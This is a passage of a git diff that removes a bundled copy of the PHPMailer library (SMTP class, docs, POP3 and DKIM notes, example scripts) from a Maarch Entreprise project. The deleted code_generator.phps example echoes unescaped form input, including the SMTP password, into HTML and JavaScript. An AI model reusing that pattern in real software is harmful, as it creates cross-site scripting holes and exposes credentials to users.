Get debug output method. - * @return string - */ - public function getDebugOutput() - { - return $this->Debugoutput; - } - - /** - * Set debug output level. - * @param integer $level - */ - public function setDebugLevel($level = 0) - { - $this->do_debug = $level; - } - - /** - * Get debug output level. - * @return integer - */ - public function getDebugLevel() - { - return $this->do_debug; - } - - /** - * Set SMTP timeout. - * @param integer $timeout - */ - public function setTimeout($timeout = 0) - { - $this->Timeout = $timeout; - } - - /** - * Get SMTP timeout. - * @return integer - */ - public function getTimeout() - { - return $this->Timeout; - } -} diff --git a/apps/maarch_entreprise/tools/PHPMailer/composer.json b/apps/maarch_entreprise/tools/PHPMailer/composer.json deleted file mode 100755 index 1112fb99a855216d4ade965236bb1813823c1cd1..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/composer.json +++ /dev/null @@ -1,44 +0,0 @@ -{ - "name": "phpmailer/phpmailer", - "type": "library", - "description": "PHPMailer is a full-featured email creation and transfer class for PHP", - "authors": [ - { - "name": "Marcus Bointon", - "email": "phpmailer@synchromedia.co.uk" - }, - { - "name": "Jim Jagielski", - "email": "jimjag@gmail.com" - }, - { - "name": "Andy Prevost", - "email": "codeworxtech@users.sourceforge.net" - }, - { - "name": "Brent R. Matzelle" - } - ], - "require": { - "php": ">=5.0.0" - }, - "require-dev": { - "phpdocumentor/phpdocumentor": "*", - "phpunit/phpunit": "4.7.*" - }, - "suggest": { - "league/oauth2-google": "Needed for Google XOAUTH2 authentication" - }, - "autoload": { - "classmap": [ - "class.phpmailer.php", - "class.phpmaileroauth.php", - "class.phpmaileroauthgoogle.php", - "class.smtp.php", - "class.pop3.php", - "extras/EasyPeasyICS.php", - "extras/ntlm_sasl_client.php" - ] - }, - "license": "LGPL-2.1" -} diff --git a/apps/maarch_entreprise/tools/PHPMailer/docs/Callback_function_notes.txt b/apps/maarch_entreprise/tools/PHPMailer/docs/Callback_function_notes.txt deleted file mode 100755 index 461ea508e9de17d30210e8711a149401a731c08d..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/docs/Callback_function_notes.txt +++ /dev/null @@ -1,17 +0,0 @@ -NEW CALLBACK FUNCTION: -====================== - -We have had requests for a method to process the results of sending emails -through PHPMailer. In this new release, we have implemented a callback -function that passes the results of each email sent (to, cc, and/or bcc). -We have provided an example that echos the results back to the screen. The -callback function can be used for any purpose. With minor modifications, the -callback function can be used to create CSV logs, post results to databases, -etc. - -Please review the test.php script for the example. - -It's pretty straight forward. - -Enjoy! -Andy diff --git a/apps/maarch_entreprise/tools/PHPMailer/docs/DomainKeys_notes.txt b/apps/maarch_entreprise/tools/PHPMailer/docs/DomainKeys_notes.txt deleted file mode 100755 index 2ad10f159a33bcdefe27f1a87fb65cc5c2096baf..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/docs/DomainKeys_notes.txt +++ /dev/null @@ -1,55 +0,0 @@ -CREATE DKIM KEYS and DNS Resource Record: -========================================= - -To create DomainKeys Identified Mail keys, visit: -http://dkim.worxware.com/ -... read the information, fill in the form, and download the ZIP file -containing the public key, private key, DNS Resource Record and instructions -to add to your DNS Zone Record, and the PHPMailer code to enable DKIM -digital signing. - -/*** PROTECT YOUR PRIVATE & PUBLIC KEYS ***/ - -You need to protect your DKIM private and public keys from being viewed or -accessed. Add protection to your .htaccess file as in this example: - -# secure htkeyprivate file -<Files .htkeyprivate> - order allow,deny - deny from all -</Files> - -# secure htkeypublic file -<Files .htkeypublic> - order allow,deny - deny from all -</Files> - -(the actual .htaccess additions are in the ZIP file sent back to you from -http://dkim.worxware.com/ - -A few notes on using DomainKey Identified Mail (DKIM): - -You do not need to use PHPMailer to DKIM sign emails IF: -- you enable DomainKey support and add the DNS resource record -- you use your outbound mail server - -If you are a third-party emailer that works on behalf of domain owners to -send their emails from your own server: -- you absolutely have to DKIM sign outbound emails -- the domain owner has to add the DNS resource record to match the - private key, public key, selector, identity, and domain that you create -- use caution with the "selector" ... at least one "selector" will already - exist in the DNS Zone Record of the domain at the domain owner's server - you need to ensure that the "selector" you use is unique -Note: since the IP address will not match the domain owner's DNS Zone record -you can be certain that email providers that validate based on DomainKey will -check the domain owner's DNS Zone record for your DNS resource record. Before -sending out emails on behalf of domain owners, ensure they have entered the -DNS resource record you provided them. - -Enjoy! -Andy - -PS. if you need additional information about DKIM, please see: -http://www.dkim.org/info/dkim-faq.html diff --git a/apps/maarch_entreprise/tools/PHPMailer/docs/Note_for_SMTP_debugging.txt b/apps/maarch_entreprise/tools/PHPMailer/docs/Note_for_SMTP_debugging.txt deleted file mode 100755 index 128b2d9d878efddbd077e9e282609bfab16ebf7f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/docs/Note_for_SMTP_debugging.txt +++ /dev/null @@ -1,17 +0,0 @@ -If you are having problems connecting or sending emails through your SMTP server, the SMTP class can provide more information about the processing/errors taking place. -Use the debug functionality of the class to see what's going on in your connections. To do that, set the debug level in your script. For example: - -$mail->SMTPDebug = 1; -$mail->isSMTP(); // telling the class to use SMTP -$mail->SMTPAuth = true; // enable SMTP authentication -$mail->Port = 26; // set the SMTP port -$mail->Host = "mail.yourhost.com"; // SMTP server -$mail->Username = "name@yourhost.com"; // SMTP account username -$mail->Password = "your password"; // SMTP account password - -Notes on this: -$mail->SMTPDebug = 0; ... will disable debugging (you can also leave this out completely, 0 is the default) -$mail->SMTPDebug = 1; ... will echo errors and server responses -$mail->SMTPDebug = 2; ... will echo errors, server responses and client messages - -And finally, don't forget to disable debugging before going into production. diff --git a/apps/maarch_entreprise/tools/PHPMailer/docs/extending.html b/apps/maarch_entreprise/tools/PHPMailer/docs/extending.html deleted file mode 100755 index 4466a1de92b293e5c8dbccc290bfe8fc7f2723d3..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/docs/extending.html +++ /dev/null @@ -1,128 +0,0 @@ -<html> -<head> -<title>Examples using phpmailer</title> -</head> - -<body> - -<h2>Examples using PHPMailer</h2> - -<h3>1. Advanced Example</h3> -<p> - -This demonstrates sending multiple email messages with binary attachments -from a MySQL database using multipart/alternative messages.<p> - -<pre> -require 'PHPMailerAutoload.php'; - -$mail = new PHPMailer(); - -$mail->setFrom('list@example.com', 'List manager'); -$mail->Host = 'smtp1.example.com;smtp2.example.com'; -$mail->Mailer = 'smtp'; - -@mysqli_connect('localhost','root','password'); -@mysqli_select_db("my_company"); -$query = "SELECT full_name, email, photo FROM employee"; -$result = @mysqli_query($query); - -while ($row = mysqli_fetch_assoc($result)) -{ - // HTML body - $body = "Hello <font size=\"4\">" . $row['full_name'] . "</font>, <p>"; - $body .= "<i>Your</i> personal photograph to this message.<p>"; - $body .= "Sincerely, <br>"; - $body .= "phpmailer List manager"; - - // Plain text body (for mail clients that cannot read HTML) - $text_body = 'Hello ' . $row['full_name'] . ", \n\n"; - $text_body .= "Your personal photograph to this message.\n\n"; - $text_body .= "Sincerely, \n"; - $text_body .= 'phpmailer List manager'; - - $mail->Body = $body; - $mail->AltBody = $text_body; - $mail->addAddress($row['email'], $row['full_name']); - $mail->addStringAttachment($row['photo'], 'YourPhoto.jpg'); - - if(!$mail->send()) - echo "There has been a mail error sending to " . $row['email'] . "<br>"; - - // Clear all addresses and attachments for next loop - $mail->clearAddresses(); - $mail->clearAttachments(); -} -</pre> -<p> - -<h3>2. Extending PHPMailer</h3> -<p> - -Extending classes with inheritance is one of the most -powerful features of object-oriented programming. It allows you to make changes to the -original class for your own personal use without hacking the original -classes, and it's very easy to do: - -<p> -Here's a class that extends the phpmailer class and sets the defaults -for the particular site:<br> -PHP include file: my_phpmailer.php -<p> - -<pre> -require 'PHPMailerAutoload.php'; - -class my_phpmailer extends PHPMailer { - // Set default variables for all new objects - public $From = 'from@example.com'; - public $FromName = 'Mailer'; - public $Host = 'smtp1.example.com;smtp2.example.com'; - public $Mailer = 'smtp'; // Alternative to isSMTP() - public $WordWrap = 75; - - // Replace the default debug output function - protected function edebug($msg) { - print('My Site Error'); - print('Description:'); - printf('%s', $msg); - exit; - } - - //Extend the send function - public function send() { - $this->Subject = '[Yay for me!] '.$this->Subject; - return parent::send() - } - - // Create an additional function - public function do_something($something) { - // Place your new code here - } -} -</pre> -<br> -Now here's a normal PHP page in the site, which will have all the defaults set above:<br> - -<pre> -require 'my_phpmailer.php'; - -// Instantiate your new class -$mail = new my_phpmailer; - -// Now you only need to add the necessary stuff -$mail->addAddress('josh@example.com', 'Josh Adams'); -$mail->Subject = 'Here is the subject'; -$mail->Body = 'This is the message body'; -$mail->addAttachment('c:/temp/11-10-00.zip', 'new_name.zip'); // optional name - -if(!$mail->send()) -{ - echo 'There was an error sending the message'; - exit; -} - -echo 'Message was sent successfully'; -</pre> -</body> -</html> diff --git a/apps/maarch_entreprise/tools/PHPMailer/docs/faq.html b/apps/maarch_entreprise/tools/PHPMailer/docs/faq.html deleted file mode 100755 index 7033a142e5e790702494caccef71105d27672740..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/docs/faq.html +++ /dev/null @@ -1,28 +0,0 @@ -<html> -<head> -<title>PHPMailer FAQ</title> -</head> -<body> -<h2>PHPMailer FAQ</h2> -<ul> - <li><strong>Q: I am concerned that using include files will take up too much - processing time on my computer. How can I make it run faster?</strong><br> - <strong>A:</strong> PHP by itself is fairly fast, but it recompiles scripts every time they are run, which takes up valuable - computer resources. You can bypass this by using an opcode cache which compiles - PHP code and store it in memory to reduce overhead immensely. <a href="http://www.php.net/apc/">APC - (Alternative PHP Cache)</a> is a free opcode cache extension in the PECL library.</li> - <li><strong>Q: Which mailer gives me the best performance?</strong><br> - <strong>A:</strong> On a single machine the <strong>sendmail (or Qmail)</strong> is fastest overall. - Next fastest is mail() to give you the best performance. Both do not have the overhead of SMTP. - If you do not have a local mail server (as is typical on Windows), SMTP is your only option.</li> - <li><strong>Q: When I try to attach a file with on my server I get a - "Could not find {file} on filesystem error". Why is this?</strong><br> - <strong>A:</strong> If you are using a Unix machine this is probably because the user - running your web server does not have read access to the directory in question. If you are using Windows, - then the problem is probably that you have used single backslashes to denote directories (\). - A single backslash has a special meaning to PHP so these are not - valid. Instead use double backslashes ("\\") or a single forward - slash ("/").</li> -</ul> -</body> -</html> diff --git a/apps/maarch_entreprise/tools/PHPMailer/docs/generatedocs.sh b/apps/maarch_entreprise/tools/PHPMailer/docs/generatedocs.sh deleted file mode 100755 index 9da1ddfe78992a2fb7b7a8fb5fbb8149e3030964..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/docs/generatedocs.sh +++ /dev/null @@ -1,8 +0,0 @@ -#!/bin/sh -# Regenerate PHPMailer documentation -# Run from within the docs folder -rm -rf phpdoc/* -phpdoc --directory .. --target ./phpdoc --ignore test/,examples/,extras/,test_script/,vendor/,language/ --sourcecode --force --title PHPMailer --template="clean" -# You can merge regenerated docs into a separate docs working copy without messing up the git status like so: -# rsync -a --delete --exclude ".git" --exclude "phpdoc-cache-*/" --exclude "README.md" phpdoc/ ../../phpmailer-docs -# After updating docs, push/PR them to the phpmailer gh-pages branch: https://github.com/PHPMailer/PHPMailer/tree/gh-pages diff --git a/apps/maarch_entreprise/tools/PHPMailer/docs/pop3_article.txt b/apps/maarch_entreprise/tools/PHPMailer/docs/pop3_article.txt deleted file mode 100755 index fb90b9c76763a7ead583bcf859c338dd3c5bfb48..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/docs/pop3_article.txt +++ /dev/null @@ -1,50 +0,0 @@ -This is built for PHP Mailer 1.72 and was not tested with any previous version. It was developed under PHP 4.3.11 (E_ALL). It works under PHP 5 and 5.1 with E_ALL, but not in Strict mode due to var deprecation (but then neither does PHP Mailer either!). It follows the RFC 1939 standard explicitly and is fully commented. - -With that noted, here is how to implement it: - -I didn't want to modify the PHP Mailer classes at all, so you will have to include/require this class along with the base one. It can sit quite happily in the phpmailer directory. - -When you need it, create your POP3 object - -Right before I invoke PHP Mailer I activate the POP3 authorisation. POP3 before SMTP is a process whereby you login to your web hosts POP3 mail server BEFORE sending out any emails via SMTP. The POP3 logon 'verifies' your ability to send email by SMTP, which typically otherwise blocks you. On my web host (Pair Networks) a single POP3 logon is enough to 'verify' you for 90 minutes. Here is some sample PHP code that activates the POP3 logon and then sends an email via PHP Mailer: - -<?php -$pop->authorise('pop3.example.com', 110, 30, 'mailer', 'password', 1); -$mail = new PHPMailer(); $mail->SMTPDebug = 2; $mail->isSMTP(); -$mail->isHTML(false); $mail->Host = 'relay.example.com'; -$mail->From = 'mailer@example.com'; -$mail->FromName = 'Example Mailer'; -$mail->Subject = 'My subject'; -$mail->Body = 'Hello world'; -$mail->addAddress('rich@corephp.co.uk', 'Richard Davey'); -if (!$mail->send()) { - echo $mail->ErrorInfo; -} -?> - -The PHP Mailer parts of this code should be obvious to anyone who has used PHP Mailer before. One thing to note - you almost certainly will not need to use SMTP Authentication *and* POP3 before SMTP together. The Authorisation method is a proxy method to all of the others within that class. There are connect, Logon and disconnect methods available, but I wrapped them in the single Authorisation one to make things easier. -The Parameters - -The authorise parameters are as follows: - -$pop->authorise('pop3.example.com', 110, 30, 'mailer', 'password', 1); - - 1. pop3.example.com - The POP3 Mail Server Name (hostname or IP address) - 2. 110 - The POP3 Port on which to connect (default is usually 110, but check with your host) - 3. 30 - A connection time-out value (in seconds) - 4. mailer - The POP3 Username required to logon - 5. password - The POP3 Password required to logon - 6. 1 - The class debug level (0 = off, 1+ = debug output is echoed to the browser) - -Final Comments + the Download - -1) This class does not support APOP connections. This is only because I did not have an APOP server to test with, but if you'd like to see that added just contact me. - -2) Opening and closing lots of POP3 connections can be quite a resource/network drain. If you need to send a whole batch of emails then just perform the authentication once at the start, and then loop through your mail sending script. Providing this process doesn't take longer than the verification period lasts on your POP3 server, you should be fine. With my host that period is 90 minutes, i.e. plenty of time. - -3) If you have heavy requirements for this script (i.e. send a LOT of email on a frequent basis) then I would advise seeking out an alternative sending method (direct SMTP ideally). If this isn't possible then you could modify this class so the 'last authorised' date is recorded somewhere (MySQL, Flat file, etc) meaning you only open a new connection if the old one has expired, saving you precious overhead. - -4) There are lots of other POP3 classes for PHP available. However most of them implement the full POP3 command set, where-as this one is purely for authentication, and much lighter as a result. However using any of the other POP3 classes to just logon to your server would have the same net result. At the end of the day, use whatever method you feel most comfortable with. -Download - -My thanks to Chris Ryan for the inspiration (even if indirectly, via his SMTP class) diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/DKIM.phps b/apps/maarch_entreprise/tools/PHPMailer/examples/DKIM.phps deleted file mode 100755 index e3d2bae02aaf60d6f086b87bc355f5786271d257..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/DKIM.phps +++ /dev/null @@ -1,38 +0,0 @@ -<?php -/** - * This example shows how to use DKIM message authentication with PHPMailer. - * There's more to using DKIM than just this code - check out this article: - * @link https://yomotherboard.com/how-to-setup-email-server-dkim-keys/ - * See also the DKIM code in the PHPMailer unit tests, - * which shows how to make a key pair from PHP. - */ - -require '../PHPMailerAutoload.php'; - -//Create a new PHPMailer instance -$mail = new PHPMailer; -//Set who the message is to be sent from -$mail->setFrom('from@example.com', 'First Last'); -//Set an alternative reply-to address -$mail->addReplyTo('replyto@example.com', 'First Last'); -//Set who the message is to be sent to -$mail->addAddress('whoto@example.com', 'John Doe'); -//Set the subject line -$mail->Subject = 'PHPMailer DKIM test'; -//This should be the same as the domain of your From address -$mail->DKIM_domain = 'example.com'; -//Path to your private key file -$mail->DKIM_private = 'dkim_private.pem'; -//Set this to your own selector -$mail->DKIM_selector = 'phpmailer'; -//If your private key has a passphrase, set it here -$mail->DKIM_passphrase = ''; -//The identity you're signing as - usually your From address -$mail->DKIM_identity = $mail->From; - -//send the message, check for errors -if (!$mail->send()) { - echo "Mailer Error: " . $mail->ErrorInfo; -} else { - echo "Message sent!"; -} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/code_generator.phps b/apps/maarch_entreprise/tools/PHPMailer/examples/code_generator.phps deleted file mode 100755 index 23458561bad413be37599576d9a5d6ce335c17ec..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/code_generator.phps +++ /dev/null @@ -1,597 +0,0 @@ -<?php -/* - * A web form that both generates and uses PHPMailer code. - * revised, updated and corrected 27/02/2013 - * by matt.sturdy@gmail.com - */ -require '../PHPMailerAutoload.php'; - -$CFG['smtp_debug'] = 2; //0 == off, 1 for client output, 2 for client and server -$CFG['smtp_debugoutput'] = 'html'; -$CFG['smtp_server'] = 'localhost'; -$CFG['smtp_port'] = '25'; -$CFG['smtp_authenticate'] = false; -$CFG['smtp_username'] = 'name@example.com'; -$CFG['smtp_password'] = 'yourpassword'; -$CFG['smtp_secure'] = 'None'; - -$from_name = (isset($_POST['From_Name'])) ? $_POST['From_Name'] : ''; -$from_email = (isset($_POST['From_Email'])) ? $_POST['From_Email'] : ''; -$to_name = (isset($_POST['To_Name'])) ? $_POST['To_Name'] : ''; -$to_email = (isset($_POST['To_Email'])) ? $_POST['To_Email'] : ''; -$cc_email = (isset($_POST['cc_Email'])) ? $_POST['cc_Email'] : ''; -$bcc_email = (isset($_POST['bcc_Email'])) ? $_POST['bcc_Email'] : ''; -$subject = (isset($_POST['Subject'])) ? $_POST['Subject'] : ''; -$message = (isset($_POST['Message'])) ? $_POST['Message'] : ''; -$test_type = (isset($_POST['test_type'])) ? $_POST['test_type'] : 'smtp'; -$smtp_debug = (isset($_POST['smtp_debug'])) ? $_POST['smtp_debug'] : $CFG['smtp_debug']; -$smtp_server = (isset($_POST['smtp_server'])) ? $_POST['smtp_server'] : $CFG['smtp_server']; -$smtp_port = (isset($_POST['smtp_port'])) ? $_POST['smtp_port'] : $CFG['smtp_port']; -$smtp_secure = strtolower((isset($_POST['smtp_secure'])) ? $_POST['smtp_secure'] : $CFG['smtp_secure']); -$smtp_authenticate = (isset($_POST['smtp_authenticate'])) ? - $_POST['smtp_authenticate'] : $CFG['smtp_authenticate']; -$authenticate_password = (isset($_POST['authenticate_password'])) ? - $_POST['authenticate_password'] : $CFG['smtp_password']; -$authenticate_username = (isset($_POST['authenticate_username'])) ? - $_POST['authenticate_username'] : $CFG['smtp_username']; - -// storing all status output from the script to be shown to the user later -$results_messages = array(); - -// $example_code represents the "final code" that we're using, and will -// be shown to the user at the end. -$example_code = "\nrequire_once '../PHPMailerAutoload.php';"; -$example_code .= "\n\n\$results_messages = array();"; - -$mail = new PHPMailer(true); //PHPMailer instance with exceptions enabled -$mail->CharSet = 'utf-8'; -ini_set('default_charset', 'UTF-8'); -$mail->Debugoutput = $CFG['smtp_debugoutput']; -$example_code .= "\n\n\$mail = new PHPMailer(true);"; -$example_code .= "\n\$mail->CharSet = 'utf-8';"; -$example_code .= "\nini_set('default_charset', 'UTF-8');"; - -class phpmailerAppException extends phpmailerException -{ -} - -$example_code .= "\n\nclass phpmailerAppException extends phpmailerException {}"; -$example_code .= "\n\ntry {"; - -try { - if (isset($_POST["submit"]) && $_POST['submit'] == "Submit") { - $to = $_POST['To_Email']; - if (!PHPMailer::validateAddress($to)) { - throw new phpmailerAppException("Email address " . $to . " is invalid -- aborting!"); - } - - $example_code .= "\n\$to = '{$_POST['To_Email']}';"; - $example_code .= "\nif(!PHPMailer::validateAddress(\$to)) {"; - $example_code .= "\n throw new phpmailerAppException(\"Email address \" . " . - "\$to . \" is invalid -- aborting!\");"; - $example_code .= "\n}"; - - switch ($_POST['test_type']) { - case 'smtp': - $mail->isSMTP(); // telling the class to use SMTP - $mail->SMTPDebug = (integer)$_POST['smtp_debug']; - $mail->Host = $_POST['smtp_server']; // SMTP server - $mail->Port = (integer)$_POST['smtp_port']; // set the SMTP port - if ($_POST['smtp_secure']) { - $mail->SMTPSecure = strtolower($_POST['smtp_secure']); - } - $mail->SMTPAuth = array_key_exists('smtp_authenticate', $_POST); // enable SMTP authentication? - if (array_key_exists('smtp_authenticate', $_POST)) { - $mail->Username = $_POST['authenticate_username']; // SMTP account username - $mail->Password = $_POST['authenticate_password']; // SMTP account password - } - - $example_code .= "\n\$mail->isSMTP();"; - $example_code .= "\n\$mail->SMTPDebug = " . $_POST['smtp_debug'] . ";"; - $example_code .= "\n\$mail->Host = \"" . $_POST['smtp_server'] . "\";"; - $example_code .= "\n\$mail->Port = \"" . $_POST['smtp_port'] . "\";"; - $example_code .= "\n\$mail->SMTPSecure = \"" . strtolower($_POST['smtp_secure']) . "\";"; - $example_code .= "\n\$mail->SMTPAuth = " . (array_key_exists( - 'smtp_authenticate', - $_POST - ) ? 'true' : 'false') . ";"; - if (array_key_exists('smtp_authenticate', $_POST)) { - $example_code .= "\n\$mail->Username = \"" . $_POST['authenticate_username'] . "\";"; - $example_code .= "\n\$mail->Password = \"" . $_POST['authenticate_password'] . "\";"; - } - break; - case 'mail': - $mail->isMail(); // telling the class to use PHP's mail() - $example_code .= "\n\$mail->isMail();"; - break; - case 'sendmail': - $mail->isSendmail(); // telling the class to use Sendmail - $example_code .= "\n\$mail->isSendmail();"; - break; - case 'qmail': - $mail->isQmail(); // telling the class to use Qmail - $example_code .= "\n\$mail->isQmail();"; - break; - default: - throw new phpmailerAppException('Invalid test_type provided'); - } - - try { - if ($_POST['From_Name'] != '') { - $mail->addReplyTo($_POST['From_Email'], $_POST['From_Name']); - $mail->setFrom($_POST['From_Email'], $_POST['From_Name']); - - $example_code .= "\n\$mail->addReplyTo(\"" . - $_POST['From_Email'] . "\", \"" . $_POST['From_Name'] . "\");"; - $example_code .= "\n\$mail->setFrom(\"" . - $_POST['From_Email'] . "\", \"" . $_POST['From_Name'] . "\");"; - } else { - $mail->addReplyTo($_POST['From_Email']); - $mail->setFrom($_POST['From_Email'], $_POST['From_Email']); - - $example_code .= "\n\$mail->addReplyTo(\"" . $_POST['From_Email'] . "\");"; - $example_code .= "\n\$mail->setFrom(\"" . - $_POST['From_Email'] . "\", \"" . $_POST['From_Email'] . "\");"; - } - - if ($_POST['To_Name'] != '') { - $mail->addAddress($to, $_POST['To_Name']); - $example_code .= "\n\$mail->addAddress(\"$to\", \"" . $_POST['To_Name'] . "\");"; - } else { - $mail->addAddress($to); - $example_code .= "\n\$mail->addAddress(\"$to\");"; - } - - if ($_POST['bcc_Email'] != '') { - $indiBCC = explode(" ", $_POST['bcc_Email']); - foreach ($indiBCC as $key => $value) { - $mail->addBCC($value); - $example_code .= "\n\$mail->addBCC(\"$value\");"; - } - } - - if ($_POST['cc_Email'] != '') { - $indiCC = explode(" ", $_POST['cc_Email']); - foreach ($indiCC as $key => $value) { - $mail->addCC($value); - $example_code .= "\n\$mail->addCC(\"$value\");"; - } - } - } catch (phpmailerException $e) { //Catch all kinds of bad addressing - throw new phpmailerAppException($e->getMessage()); - } - $mail->Subject = $_POST['Subject'] . ' (PHPMailer test using ' . strtoupper($_POST['test_type']) . ')'; - $example_code .= "\n\$mail->Subject = \"" . $_POST['Subject'] . - ' (PHPMailer test using ' . strtoupper($_POST['test_type']) . ')";'; - - if ($_POST['Message'] == '') { - $body = file_get_contents('contents.html'); - } else { - $body = $_POST['Message']; - } - - $example_code .= "\n\$body = <<<'EOT'\n" . htmlentities($body) . "\nEOT;"; - - $mail->WordWrap = 78; // set word wrap to the RFC2822 limit - $mail->msgHTML($body, dirname(__FILE__), true); //Create message bodies and embed images - - $example_code .= "\n\$mail->WordWrap = 78;"; - $example_code .= "\n\$mail->msgHTML(\$body, dirname(__FILE__), true); //Create message bodies and embed images"; - - $mail->addAttachment('images/phpmailer_mini.png', 'phpmailer_mini.png'); // optional name - $mail->addAttachment('images/phpmailer.png', 'phpmailer.png'); // optional name - $example_code .= "\n\$mail->addAttachment('images/phpmailer_mini.png'," . - "'phpmailer_mini.png'); // optional name"; - $example_code .= "\n\$mail->addAttachment('images/phpmailer.png', 'phpmailer.png'); // optional name"; - - $example_code .= "\n\ntry {"; - $example_code .= "\n \$mail->send();"; - $example_code .= "\n \$results_messages[] = \"Message has been sent using " . - strtoupper($_POST['test_type']) . "\";"; - $example_code .= "\n}"; - $example_code .= "\ncatch (phpmailerException \$e) {"; - $example_code .= "\n throw new phpmailerAppException('Unable to send to: ' . \$to. ': '.\$e->getMessage());"; - $example_code .= "\n}"; - - try { - $mail->send(); - $results_messages[] = "Message has been sent using " . strtoupper($_POST["test_type"]); - } catch (phpmailerException $e) { - throw new phpmailerAppException("Unable to send to: " . $to . ': ' . $e->getMessage()); - } - } -} catch (phpmailerAppException $e) { - $results_messages[] = $e->errorMessage(); -} -$example_code .= "\n}"; -$example_code .= "\ncatch (phpmailerAppException \$e) {"; -$example_code .= "\n \$results_messages[] = \$e->errorMessage();"; -$example_code .= "\n}"; -$example_code .= "\n\nif (count(\$results_messages) > 0) {"; -$example_code .= "\n echo \"<h2>Run results</h2>\\n\";"; -$example_code .= "\n echo \"<ul>\\n\";"; -$example_code .= "\nforeach (\$results_messages as \$result) {"; -$example_code .= "\n echo \"<li>\$result</li>\\n\";"; -$example_code .= "\n}"; -$example_code .= "\necho \"</ul>\\n\";"; -$example_code .= "\n}"; -?><!DOCTYPE html> -<html> -<head> - <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> - <title>PHPMailer Test Page</title> - <script type="text/javascript" src="scripts/shCore.js"></script> - <script type="text/javascript" src="scripts/shBrushPhp.js"></script> - <link type="text/css" rel="stylesheet" href="styles/shCore.css"> - <link type="text/css" rel="stylesheet" href="styles/shThemeDefault.css"> - <style> - body { - font-family: Arial, Helvetica, sans-serif; - font-size: 1em; - padding: 1em; - } - - table { - margin: 0 auto; - border-spacing: 0; - border-collapse: collapse; - } - - table.column { - border-collapse: collapse; - background-color: #FFFFFF; - padding: 0.5em; - width: 35em; - } - - td { - font-size: 1em; - padding: 0.1em 0.25em; - -moz-border-radius: 1em; - -webkit-border-radius: 1em; - border-radius: 1em; - } - - td.colleft { - text-align: right; - width: 35%; - } - - td.colrite { - text-align: left; - width: 65%; - } - - fieldset { - padding: 1em 1em 1em 1em; - margin: 0 2em; - border-radius: 1.5em; - -webkit-border-radius: 1em; - -moz-border-radius: 1em; - } - - fieldset.inner { - width: 40%; - } - - fieldset:hover, tr:hover { - background-color: #fafafa; - } - - legend { - font-weight: bold; - font-size: 1.1em; - } - - div.column-left { - float: left; - width: 45em; - height: 31em; - } - - div.column-right { - display: inline; - width: 45em; - max-height: 31em; - } - - input.radio { - float: left; - } - - div.radio { - padding: 0.2em; - } - </style> - <script> - SyntaxHighlighter.config.clipboardSwf = 'scripts/clipboard.swf'; - SyntaxHighlighter.all(); - - function startAgain() { - var post_params = { - "From_Name": "<?php echo $from_name; ?>", - "From_Email": "<?php echo $from_email; ?>", - "To_Name": "<?php echo $to_name; ?>", - "To_Email": "<?php echo $to_email; ?>", - "cc_Email": "<?php echo $cc_email; ?>", - "bcc_Email": "<?php echo $bcc_email; ?>", - "Subject": "<?php echo $subject; ?>", - "Message": "<?php echo $message; ?>", - "test_type": "<?php echo $test_type; ?>", - "smtp_debug": "<?php echo $smtp_debug; ?>", - "smtp_server": "<?php echo $smtp_server; ?>", - "smtp_port": "<?php echo $smtp_port; ?>", - "smtp_secure": "<?php echo $smtp_secure; ?>", - "smtp_authenticate": "<?php echo $smtp_authenticate; ?>", - "authenticate_username": "<?php echo $authenticate_username; ?>", - "authenticate_password": "<?php echo $authenticate_password; ?>" - }; - - var resetForm = document.createElement("form"); - resetForm.setAttribute("method", "POST"); - resetForm.setAttribute("path", "index.php"); - - for (var k in post_params) { - var h = document.createElement("input"); - h.setAttribute("type", "hidden"); - h.setAttribute("name", k); - h.setAttribute("value", post_params[k]); - resetForm.appendChild(h); - } - - document.body.appendChild(resetForm); - resetForm.submit(); - } - - function showHideDiv(test, element_id) { - var ops = {"smtp-options-table": "smtp"}; - - if (test == ops[element_id]) { - document.getElementById(element_id).style.display = "block"; - } else { - document.getElementById(element_id).style.display = "none"; - } - } - </script> -</head> -<body> -<?php -if (version_compare(PHP_VERSION, '5.0.0', '<')) { - echo 'Current PHP version: ' . phpversion() . "<br>"; - echo exit("ERROR: Wrong PHP version. Must be PHP 5 or above."); -} - -if (count($results_messages) > 0) { - echo '<h2>Run results</h2>'; - echo '<ul>'; - foreach ($results_messages as $result) { - echo "<li>$result</li>"; - } - echo '</ul>'; -} - -if (isset($_POST["submit"]) && $_POST["submit"] == "Submit") { - echo "<button type=\"submit\" onclick=\"startAgain();\">Start Over</button><br>\n"; - echo "<br><span>Script:</span>\n"; - echo "<pre class=\"brush: php;\">\n"; - echo $example_code; - echo "\n</pre>\n"; - echo "\n<hr style=\"margin: 3em;\">\n"; -} -?> -<form method="POST" enctype="multipart/form-data"> - <div> - <div class="column-left"> - <fieldset> - <legend>Mail Details</legend> - <table border="1" class="column"> - <tr> - <td class="colleft"> - <label for="From_Name"><strong>From</strong> Name</label> - </td> - <td class="colrite"> - <input type="text" id="From_Name" name="From_Name" value="<?php echo $from_name; ?>" - style="width:95%;" autofocus placeholder="Your Name"> - </td> - </tr> - <tr> - <td class="colleft"> - <label for="From_Email"><strong>From</strong> Email Address</label> - </td> - <td class="colrite"> - <input type="text" id="From_Email" name="From_Email" value="<?php echo $from_email; ?>" - style="width:95%;" required placeholder="Your.Email@example.com"> - </td> - </tr> - <tr> - <td class="colleft"> - <label for="To_Name"><strong>To</strong> Name</label> - </td> - <td class="colrite"> - <input type="text" id="To_Name" name="To_Name" value="<?php echo $to_name; ?>" - style="width:95%;" placeholder="Recipient's Name"> - </td> - </tr> - <tr> - <td class="colleft"> - <label for="To_Email"><strong>To</strong> Email Address</label> - </td> - <td class="colrite"> - <input type="text" id="To_Email" name="To_Email" value="<?php echo $to_email; ?>" - style="width:95%;" required 